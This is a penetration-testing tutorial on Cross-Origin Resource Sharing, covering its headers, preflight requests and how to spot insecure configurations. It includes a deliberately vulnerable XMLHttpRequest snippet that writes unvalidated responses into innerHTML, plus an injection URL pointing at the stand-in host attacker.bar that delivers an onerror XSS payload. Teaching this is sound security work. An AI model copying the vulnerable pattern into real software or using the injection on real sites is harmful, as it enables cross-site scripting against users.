©2019 Security Unleashed | New Delhi

  • Animesh Gupta

CROSS ORIGIN RESOURCE SHARING


Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell a browser to let a web application running at one origin (domain) have permission to access selected resources from a server at a different origin. A web application makes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, and port) than its own origin.


An example of a cross-origin request: The frontend JavaScript code for a web application served from http://domain-a.com uses XMLHttpRequest to make a request for http://api.domain-b.com/data.json.

For security reasons, browsers restrict cross-origin HTTP requests initiated from within scripts. For example, XMLHttpRequest and the Fetch API follow the Same-origin policy. This means that a web application using those APIs can only request HTTP resources from the same origin the application was loaded from, unless the response from the other origin includes the right CORS headers.



The CORS mechanism supports secure cross-origin requests and data transfers between browsers and web servers. Modern browsers use CORS in an API container such as XMLHttpRequest or Fetch to help mitigate the risks of cross-origin HTTP requests.


What requests use CORS?


This cross-origin sharing standard is used to enable cross-site HTTP requests for:

  • Invocations of the XMLHttpRequest or Fetch APIs in a cross-site manner, as discussed above.

  • Web Fonts (for cross-domain font usage in @font-face within CSS), so that servers can deploy TrueType fonts that can only be cross-site loaded and used by web sites that are permitted to do so.

  • WebGL textures.

  • Images/video frames drawn to a canvas using drawImage.

  • Stylesheets (for CSSOM access).

  • Scripts (for unmuted exception)

Functional overview


The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser. Additionally, for HTTP request methods that can cause side-effects on server's data (in particular, for HTTP methods other than GET, or for POST usage with certain MIME types), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with an HTTP OPTIONS request method, and then, upon "approval" from the server, sending the actual request with the actual HTTP request method. Servers can also notify clients whether "credentials" (including Cookies and HTTP Authentication data) should be sent with requests.


How to Test


Origin & Access-Control-Allow-Origin


The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header cannot be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.


Access-Control-Request-Method & Access-Control-Allow-Method


The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.


Access-Control-Request-Headers & Access-Control-Allow-Headers


These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.


Access-Control-Allow-Credentials


This header as part of a preflight request indicates that the final request can include user credentials.

Input validation


XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, especially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.


Other headers


There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.


Black Box testing


Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.


Gray Box testing


Check the HTTP headers in order to understand how CORS is used; in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:


Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:

Request (note the 'Origin' header:)


GET http://attacker.bar/test.php HTTP/1.1

Host: attacker.bar

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://example.foo/CORSexample1.html

Origin: http://example.foo

Connection: keep-alive

Response (note the 'Access-Control-Allow-Origin' header)

HTTP/1.1 200 OK

Date: Mon, 07 Oct 2013 18:57:53 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.4-14+deb7u3

Access-Control-Allow-Origin: *

Content-Length: 4

Keep-Alive: timeout=15, max=99

Connection: Keep-Alive

Content-Type: application/xml

[Response Body]

Example 2: Input validation issue, XSS with CORS:


This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {

if(req.readyState==4 && req.status==200) {

document.getElementById("div1").innerHTML=req.responseText;

}

}

var resource = location.hash.substring(1);

req.open("GET",resource,true);

req.send();

</script>

<body>

<div id="div1"></div>

</body>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

GET http://example.foo/profile.php HTTP/1.1

Host: example.foo

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://example.foo/main.php

Connection: keep-alive

HTTP/1.1 200 OK

Date: Mon, 07 Oct 2013 18:20:48 GMT

Server: Apache/2.2.16 (Debian)

X-Powered-By: PHP/5.3.3-7+squeeze17

Vary: Accept-Encoding

Content-Length: 25

Keep-Alive: timeout=15, max=99

Connection: Keep-Alive

Content-Type: text/html

[Response Body]


Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:


http://example.foo/main.php#http://attacker.bar/file.php


Request and response generated by this URL:


GET http://attacker.bar/file.php HTTP/1.1

Host: attacker.bar

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://example.foo/main.php

Origin: http://example.foo

Connection: keep-alive

HTTP/1.1 200 OK

Date: Mon, 07 Oct 2013 19:00:32 GMT

Server: Apache/2.2.22 (Debian)

X-Powered-By: PHP/5.4.4-14+deb7u3

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Content-Length: 92

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document. Domain)">